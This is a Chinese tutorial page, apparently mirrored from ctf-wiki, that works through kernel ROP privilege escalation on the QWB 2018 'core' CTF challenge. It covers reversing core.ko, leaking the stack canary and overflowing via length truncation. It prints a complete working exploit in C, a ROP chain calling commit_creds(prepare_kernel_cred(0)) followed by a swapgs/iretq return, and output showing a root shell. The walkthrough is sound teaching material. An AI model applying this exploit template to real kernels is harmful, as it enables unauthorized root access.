☰
ctf-wiki 内核态 ROP 提权实战:状态保存、swapgs/iretq 返回用户态与强网杯 2018 core 全解析
2026/9/25 2:16:00 网站建设 项目流程
  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

本文是 ctf-wiki 内核 pwn 方向的核心技术指南,聚焦Kernel ROP(返回导向编程)在内核态提权中的完整应用:从commit_creds(prepare_kernel_cred(NULL))的提权原理,到手工保存用户态寄存器、构造swapgs; iretq返回用户态,再到以强网杯 2018 core 例题串起「信息泄露 → canary 绕过 → ROP 链构造 → 获得 root shell」的完整攻击流程。读完本文,你将掌握内核态 ROP 的通用模板,并能够独立分析、调试与复现经典的 qemu + LKM 内核 pwn 题目。

内核态 ROP 与用户态 ROP 的异同

ROP 即返回导向编程(Return-oriented programming),是一种通过复用代码片段(gadget)控制程序执行流的攻击方式,在内核 pwn 中同样适用。内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由system("/bin/sh")变为了commit_creds(&init_cred)或commit_creds(prepare_kernel_cred(NULL))。

当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,从而获得 root 权限,此时在用户态起一个 shell 便能获得 root shell。

要理解这一提权手段的底层依据,需要先明确内核如何管理进程权限。在 ctf-wiki 的内核基础知识中详细介绍了cred结构体:它定义于内核源码include/linux/cred.h,包含 real UID、saved UID、effective UID(euid,内核据此进行特权判断)、fsuid 等四类用户 ID 及对应的组 ID、capability 等字段。内核中有两个可以直接改变进程权限的函数(位于kernel/cred.c):

  • struct cred *prepare_kernel_cred(struct task_struct *daemon):拷贝一个进程的 cred 结构体并返回新 cred,daemon参数应为有效的进程描述符地址;
  • int commit_creds(struct cred *new):将新的 cred 结构体应用到当前进程。

因此执行commit_creds(prepare_kernel_cred(0))是最常用的提权手段——即先以 NULL 为参数构造一个「init 进程级」的 root cred,再将其提交给当前线程。这两个函数的地址通常可以从/proc/kallsyms(较老的版本是/proc/ksyms)中读取,例如:

$ grep commit_creds /proc/kallsyms ffffffffbb6af9e0 T commit_creds $ grep prepare_kernel_cred /proc/kallsyms ffffffffbb6afd90 T prepare_kernel_cred

一般情况下,/proc/kallsyms的内容需要 root 权限才能查看,这也解释了后续例题中 init 脚本「提前把 kallsyms 转存到可读文件」这一关键动作的意义。

状态保存:进入内核态前模拟用户态上下文

通常情况下,我们的 exploit 需要进入内核态完成提权,而最终仍需要着陆回用户态以获取一个 root 权限的 shell。因此在 exploit 进入内核态之前,我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便后续着陆回用户态。

通常使用如下函数把各寄存器值保存到自定义全局变量中,以构造 ROP 链时使用:

这算是一个通用的 pwn 板子。方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel。

size_t user_cs, user_ss, user_rflags, user_sp; void save_status(void) { asm volatile ("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }

这里保存的四个值,正是后续iretq返回用户态时压栈所需的完整上下文:cs(用户态代码段选择子)、ss(用户态栈段选择子)、rsp(用户态栈指针)、rflags(标志寄存器)。若使用 AT&T 风格的汇编(不依赖-masm=intel),等价写法如下:

void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); }

关于「为何非要返回用户态」:大多数我们想做的有用操作(修改文件系统、创建新进程、建立网络连接等)在用户态下实现要容易得多,而内核空间没有便捷的手段来完成这些操作。因此构造 ROP 时,最终一步必然是swapgs; iretq着陆回用户态,在用户态起 shell。

返回用户态:swapgs 与 iretq

由内核态返回用户态只需要两步:

  • swapgs指令恢复用户态 GS 寄存器;
  • sysretq或者iretq恢复到用户空间。

其原理在内核基础知识的「状态切换」一节有系统阐述:用户态到内核态的切换会经历swapgs切 GS、切换内核栈、压栈保存寄存器(形成pt_regs结构)等步骤;而退出时反向执行——先swapgs恢复 GS 值,再用sysretq或iretq回到用户空间,如果使用iretq还需要显式给出用户空间的信息(CS、rflags、rsp、SS 等)。

因此我们只需在内核中找到相应的 gadget 并执行swapgs; iretq就能成功着陆回用户态。通常构造如下 ROP 链返回用户态并获得 shell:

↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss

其中user_shell_addr指向用户态中我们准备好的 shell 启动函数(如spawn_shell(),内部先检查getuid()是否为 0 再执行system("/bin/sh")),其余四项正是save_status()保存的上下文。

例题:强网杯 2018 core(Kernel ROP)

下面以强网杯 2018 的 core 一题完整演示内核态 ROP 的实战流程。该题在 ctf-wiki 中也与 ret2usr、bypass-smep、ret2dir 等章节相互印证,是理解各类内核攻击手法的绝佳入口。

题目文件与 gadget 提取

题目提供了四个文件:bzImage、core.cpio、start.sh以及带符号表的vmlinux。

前三个文件的作用从名字即可看出:bzImage是压缩后的内核镜像,core.cpio是文件系统,start.sh是 qemu 启动脚本;vmlinux则是静态编译、未经过压缩的 kernel 文件,可以理解为bzImage解压后的本体。由于 vmlinux 未经过压缩,我们可以直接从中寻找 gadget,先把 gadget 保存下来备用。

建议使用 Ropper 寻找 gadget:实测中 ropper 用了两分半钟就提取出了全部 gadget,而 ROPgadget 用了半个小时耗尽了内存还没跑出结果。

give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% ropper --file ./vmlinux --nocolor > g1 147.42s user 25.68s system 111% cpu 2:35.17 total give_to_player [master●] time ROPgadget --binary ./vmlinux > g2 [2] 16597 killed ROPgadget --binary ./vmlinux > g2 ROPgadget --binary ./vmlinux > g2 1064.39s user 42.52s system 54% cpu 33:35.89 total

如果题目没有给出 vmlinux,可以通过内核源码自带的extract-vmlinux脚本从 bzImage 中提取:

CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux CISCN2017_babydriver [master●●] file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

分析 start.sh:确认 KASLR

give_to_player [master●●] ls bzImage core.cpio start.sh vmlinux give_to_player [master●●] bat start.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: start.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ qemu-system-x86_64 \ 2 │ -m 64M \ 3 │ -kernel ./bzImage \ 4 │ -initrd ./core.cpio \ 5 │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 6 │ -s \ 7 │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ 8 │ -nographic \ ───────┴─────────────────────────────────────────────────────────────────────────────────

由-append中的kaslr可知内核开启了 KASLR(内核地址空间布局随机化)。KASLR 的原理与用户态 ASLR 类似:内核镜像映射到实际地址空间时会被加上一个随机偏移,但内核内部的相对偏移不变——这正是后续利用「泄露一个函数地址 + 已知相对偏移」恢复内核基址并计算所有 gadget 地址的基础。未开启 KASLR 时,内核代码段基址通常为0xffffffff81000000。更多细节可参考KASLR 专题。

另外-s等价于-gdb tcp::1234,会开放 gdb 调试端口,后面调试环节会用到。

解包 core.cpio 并分析 init

give_to_player [master●] file core.cpio core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048 give_to_player [master●] mkdir core give_to_player [master●] cd core core [master] mv ../core.cpio core.cpio.gz core [master●] gunzip ./core.cpio.gz core [master●] cpio -idm < ./core.cpio 104379 塊 core [master●] bat init ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #!/bin/sh 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms > /tmp/kallsyms 10 │ echo 1 > /proc/sys/kernel/kptr_restrict 11 │ echo 1 > /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f & 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo 'sh end!\n' 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴────────────────────────────

init 脚本中有几处对做题至关重要的细节:

  • 第 9 行把kallsyms的内容保存到了/tmp/kallsyms,因此我们能够从/tmp/kallsyms中读取commit_creds、prepare_kernel_cred的函数地址(前文已述,正常情况下读取 kallsyms 需要 root 权限);
  • 第 10 行把kptr_restrict设为 1,此后不能通过/proc/kallsyms查看函数地址,但第 9 行已经把信息保存到了一个可读文件,这一句对攻击者而言无关紧要;
  • 第 11 行把dmesg_restrict设为 1,此后不能通过dmesg查看内核日志信息;
  • 第 18 行设置了定时关机(120 秒),为避免做题干扰,直接删掉这句再重新打包。

同时文件系统里还有一个打包脚本gen_cpio.sh:

core [master●] bat gen_cpio.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --format=newc \ 3 │ | gzip -9 > $1 ───────┴─────────────────────────────────────────────────────────────────────────────────

从名称和内容都可以看出这是方便打包的脚本。我们修改好 init 后重新打包并尝试运行内核:

core [master●●] vim init core [master●●] rm core.cpio core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ./usr/sbin/popmaildir ...... ...... ./core.cpio ./core.ko 129851 塊 core [master●●] ls bin core.ko gen_cpio.sh lib linuxrc root sys usr core.cpio etc init lib64 proc sbin tmp vmlinux core [master●●] mv core.cpio .. core [master●●] cd .. give_to_player [master●●] ./start.sh

此时会遇到新问题:内核运行不起来,从一闪而过的报错信息可以看出是分配的内存过小——start.sh中-m分配的是 64M,修改为 128M 后内核才能正常运行(在 QEMU 模拟环境一节中,-m用于指定 RAM 大小,默认 384M,内核版本不同对最小内存的要求也不同)。

core.ko 逆向分析:漏洞定位

启动后在内核中加载了/core.ko。先把core.ko拷出来用 check 检查保护:

/ $ lsmod core 16384 0 - Live 0x0000000000000000 (O) ...... give_to_player [master●●] cp core/core.ko . give_to_player [master●●] check ./core.ko ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)

可以看到模块开启了 canary 保护,用 IDA 打开进一步分析其关键函数。

init_module()注册了/proc/core:

__int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk("\x016core: created /proc/core entry\n"); return 0LL; }

exit_core()删除/proc/core:

__int64 exit_core() { __int64 result; // rax if ( core_proc ) result = remove_proc_entry("core"); return result; }

core_ioctl()定义三条命令,分别调用core_read()、core_copy_func()和设置全局变量off:

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk("\x016core: %d\n"); off = a3; break; case 0x6677889A: printk("\x016core: called core_copy\n"); core_copy_func(a3); break; } core_copy_func(v3); }

core_read()从v4[off]拷贝 64 个字节到用户空间,注意全局变量off是可控的,因此可以合理控制off来 leak canary 和一些地址:

void __fastcall core_read(__int64 a1) { __int64 v1; // rbx char *v2; // rdi signed __int64 i; // rcx char v4[64]; // [rsp+0h] [rbp-50h] unsigned __int64 v5; // [rsp+40h] [rbp-10h] v1 = a1; v5 = __readgsqword(0x28u); printk("\x016core: called core_read\n"); printk("\x016%d %p\n"); v2 = v4; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v4, "Welcome to the QWB CTF challenge.\n"); if ( copy_to_user(v1, &v4[off], 64LL) ) __asm { swapgs } }

栈布局中v4位于[rbp-50h](64 字节),canaryv5位于[rbp-10h]。缓冲区首部先被strcpy写入了固定字符串,但通过off越过字符串区域即可把 canary 一并读出。

core_copy_func()从全局变量name中拷贝数据到局部变量,长度由我们指定;关键点在于qmemcpy的长度参数是unsigned __int16,而传入的长度是signed __int64,因此如果控制传入长度为0xffffffffffff0000 | 0x100之类的值,即可绕过 63 字节的检查实现栈溢出:

void __fastcall core_copy_func(signed __int64 a1) { char v1[64]; // [rsp+0h] [rbp-50h] unsigned __int64 v2; // [rsp+40h] [rbp-10h] v2 = __readgsqword(0x28u); printk("\x016core: called core_writen"); if ( a1 > 63 ) printk("\x016Detect Overflow"); else qmemcpy(v1, name, (unsigned __int16)a1); // overflow }

core_write()向全局变量name上写,这样通过core_write()和core_copy_func()就可以控制 ropchain 了:

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; // rbx v3 = a3; printk("\x016core: called core_writen"); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int)v3; printk("\x016core: error copying data from userspacen"); return 0xFFFFFFF2LL; }

综合以上分析,漏洞全貌清晰:core_read+ 可控off构成任意偏移读取(leak canary);core_write写入全局name;core_copy_func中的类型截断绕过长度检查,构成栈溢出(可控制返回地址执行 ROP)。

利用思路

经过如上分析,可以得出以下攻击流程:

  1. 通过 ioctl 设置off,然后通过core_read()leak 出 canary;
  2. 通过core_write()向name写,构造 ropchain;
  3. 通过core_copy_func()从name向局部变量拷贝,通过设置合理的长度和 canary 进行 ROP;
  4. 通过 ROP 执行commit_creds(prepare_kernel_cred(0));
  5. 返回用户态,通过system("/bin/sh")起 shell。

需要解决的两个核心问题:

  • 如何获得commit_creds()、prepare_kernel_cred()的地址?/tmp/kallsyms中保存了这些地址,可以直接读取;同时根据偏移固定也能确定 gadgets 的地址——即先由泄露的函数地址算出vmlinux_base,再gadget = raw_gadget - raw_vmlinux_base + vmlinux_base。
  • 如何返回用户态?使用swapgs; iretq,如前文所述需要设置cs、rflags等信息,可以写一个函数保存这些信息。

调试:gdb 连接 qemu

qemu 内置有 gdb 接口:

give_to_player [master●●] qemu-system-x86_64 --help | grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234

即可以通过-gdb tcp:port或-s开启调试端口,start.sh中已经带了-s,不必自己再设置。

通过gdb ./vmlinux启动时虽然加载了内核的符号表,但没有加载驱动core.ko的符号表,可以通过add-symbol-file core.ko textaddr加载:

pwndbg> help add-symbol-file Load symbols from FILE, assuming FILE has been dynamically loaded. Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...] ADDR is the starting address of the file's text. The optional arguments are section-name section-address pairs and should be specified if the data and bss segments are not contiguous with the text. SECT is a section name to be loaded at SECT_ADDR.

.text段的地址可以通过/sys/modules/core/section/.text查看,查看需要 root 权限,因此为了方便调试我们再改一下init,把 shell 以 root 权限启动:

# setsid /bin/cttyhack setuidgid 1000 /bin/sh setsid /bin/cttyhack setuidgid 0 /bin/sh

重新打包后启动即为 root 权限,随后按如下方式附加 gdb:

// qemu 內 / # cat /sys/modules/core/sections/.text 0xffffffffc018b000 ...... ...... // qemu 外 give_to_player [master●●] gdb ./vmlinux -q pwndbg: loaded 174 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./vmlinux...(no debugging symbols found)...done. pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000 add symbol table from file "./core.ko" at .text_addr = 0xffffffffc018b000 Reading symbols from ./core.ko...(no debugging symbols found)...done. pwndbg> b core_read # 加載了符號表,就可以直接對函數下斷點了 Breakpoint 1 at 0xffffffffc018b063 pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根據基地址直接下斷點 Breakpoint 2 at 0xffffffffc018b0cc pwndbg> target remote localhost:1234 Remote debugging using localhost:1234

在 qemu 内运行 exploit(此时已进入core_read,断点命中),可以观察到调用方寄存器与栈状态:

pwndbg> c Continuing. ...... // qemu 內 / # /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffa169c8e0 vmlinux_base addr: 0xffffffffa1600000 prepare_kernel_cred addr: 0xffffffffa169cce0 [*]set off to 64 [*]read to buf. ...... // qemu 外 pwndbg> c Continuing. ...... Breakpoint 1, 0xffffffffc018b063 in core_read () ...... ► 0xffffffffc018b063 <core_read> push rbx 0xffffffffc018b064 <core_read+1> mov rbx, rdi 0xffffffffc018b067 <core_read+4> mov rdi, -0x3fe73f85 0xffffffffc018b06e <core_read+11> sub rsp, 0x48 0xffffffffc018b072 <core_read+15> mov rax, qword ptr gs:[0x28] 0xffffffffc018b07b <core_read+24> mov qword ptr [rsp + 0x40], rax 0xffffffffc018b080 <core_read+29> xor eax, eax 0xffffffffc018b082 <core_read+31> call 0xffffffffa16c6845 0xffffffffc018b087 <core_read+36> mov rsi, qword ptr [rip + 0x2b72] 0xffffffffc018b08e <core_read+43> mov rdx, rbx 0xffffffffc018b091 <core_read+46> mov rdi, -0x3fe73f6b ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb 01:0008│ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 02:0010│ 0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948 03:0018│ 0xffffb0f3800dbe80 ◂— 0x889b 04:0020│ 0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0 05:0028│ 0xffffb0f3800dbe98 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d 06:0030│ 0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 07:0038│ 0xffffb0f3800dbea0 ◂— 0x10 Breakpoint core_read pwndbg>

最终 exploit

完整的 exploit 如下(以gcc exploit.c -static -masm=intel -g -o exploit编译):

// gcc exploit.c -static -masm=intel -g -o exploit #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000; size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); /* commit_creds 相对 vmlinux 基址的偏移为 0x9c8e0,可由 * ELF("./vmlinux").sym['commit_creds'] - 0xffffffff81000000 得到 */ vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } } if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); } void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf); } void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); } int main() { save_status(); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base; ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40); char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); size_t rop[0x1000] = {0}; int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100)); return 0; }

对 ROP 链关键节点的解读:

  • set_off(fd, 0x40)把off设为 0x40(64),core_read恰好从 canary 所在位置(v4 + 0x40)开始读取 64 字节,buf[0]即 canary;
  • find_symbols()从/tmp/kallsyms中解析commit_creds与prepare_kernel_cred的真实地址,并据此恢复被 KASLR 随机化后的vmlinux_base;
  • rop数组前 10 个 qword 全部填入 canary,用于淹没core_copy_func栈帧中从缓冲区v1到返回地址之间的区域(其中 canary 位于[rbp-0x10],必须原样保留才能通过栈检查);
  • 提权序列为prepare_kernel_cred(0)→mov rdi, rax; call rdx把返回值作为第一个参数调用commit_creds,其中call rdx依赖pop rdx预先装入commit_creds地址,pop rcx则用于满足mov rdi, rax; call rdxgadget 的寄存器约束;
  • 着陆序列为swapgs; popfq; ret(pop 掉栈上占位的 0)→iretq; ret,随后依次摆放spawn_shell、user_cs、user_rflags、user_sp、user_ss,与前述返回用户态 ROP 链布局完全一致;
  • core_copy_func(fd, 0xffffffffffff0000 | 0x100):该值大于 63 会触发 "Detect Overflow" 打印,但长度参数被qmemcpy以unsigned __int16截断后实际为0x100,从而把name中的 ROP 链完整拷入栈中。

获取 root shell

QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 彙編需要加上 -masm=intel QWB2018_core [master●●] cp exploit give_to_player/core/tmp QWB2018_core [master●●] cd give_to_player/core core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ...... core [master●●] mv core.cpio .. give_to_player [master●●] ./start.sh / $ ls /tmp/ exploit kallsyms / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ /tmp/exploit [*]status has been saved. commit_creds addr: 0xffffffffbd09c8e0 vmlinux_base addr: 0xffffffffbd000000 prepare_kernel_cred addr: 0xffffffffbd09cce0 [*]set off to 64 [*]read to buf. [+]canary: 0x6be486f377bb8600 [*]copy from user with size: -65280 / # id uid=0(root) gid=0(root)

运行 exploit 后,id显示当前用户从uid=1000(chal)变为uid=0(root),说明commit_creds(prepare_kernel_cred(0))的 ROP 链在内核中成功执行,提权完成。

延伸:从 Kernel ROP 到其他内核攻击手法

Kernel ROP 是内核 pwn 的基础功,但实战中常常需要与其它手法组合使用,ctf-wiki 提供了完整的配套章节:

  • SMEP/SMAP 与 ROP 的关系:SMEP(管理模式执行保护)禁止 ring0 下执行用户空间代码,会使 ret2usr 直接触发 kernel panic;但可以通过内核 ROP 执行mov cr4, ...修改 CR4 寄存器第 20 位关闭 SMEP,再继续 ret2usr。详见 bypass-smep,其中给出了与本例同源(强网杯 2018 core)的swapgs_restore_regs_and_return_to_usermode返回方式;
  • ret2usr 与 ret2dir:将内核指令指针重定向到用户空间提权代码的 ret2usr 手法,以及利用线性映射区物理内存别名绕过 SMEP 的 ret2dir;
  • KPTI 的影响:KPTI(内核页表隔离)开启后,内核页表中的用户地址空间不再拥有执行权限,ret2usr 彻底失效,同时返回用户态时需要额外处理 CR3 切换,详见 KPTI 专题;
  • 环境搭建:完整的 qemu 启动参数(-m、-kernel、-initrd、-append、-cpu、-smp等)、busybox 文件系统构建与 cpio 打包/解包方法,参见 QEMU 模拟环境;
  • 提权原理:cred结构体、prepare_kernel_cred/commit_creds的语义、KASLR 的随机化模型与 SMEP/SMAP/KPTI 等全部防御机制的底层说明,均可回溯内核基础知识系统学习。

掌握强网杯 2018 core 一题,意味着你已经打通了「信息泄露 → canary 绕过 → 内核 ROP → 返回用户态」这一最经典的内核 pwn 攻击链;在此基础上叠加 SMEP bypass、KPTI 处理与堆利用等技巧,即可应对绝大多数 CTF 内核提权题目。

  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

相关推荐

上一篇:Vert.x与Spring Boot集成指南:传统框架与现代响应式架构的完美结合
下一篇:推荐使用:Slack Send GitHub Action - 实时通知利器

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询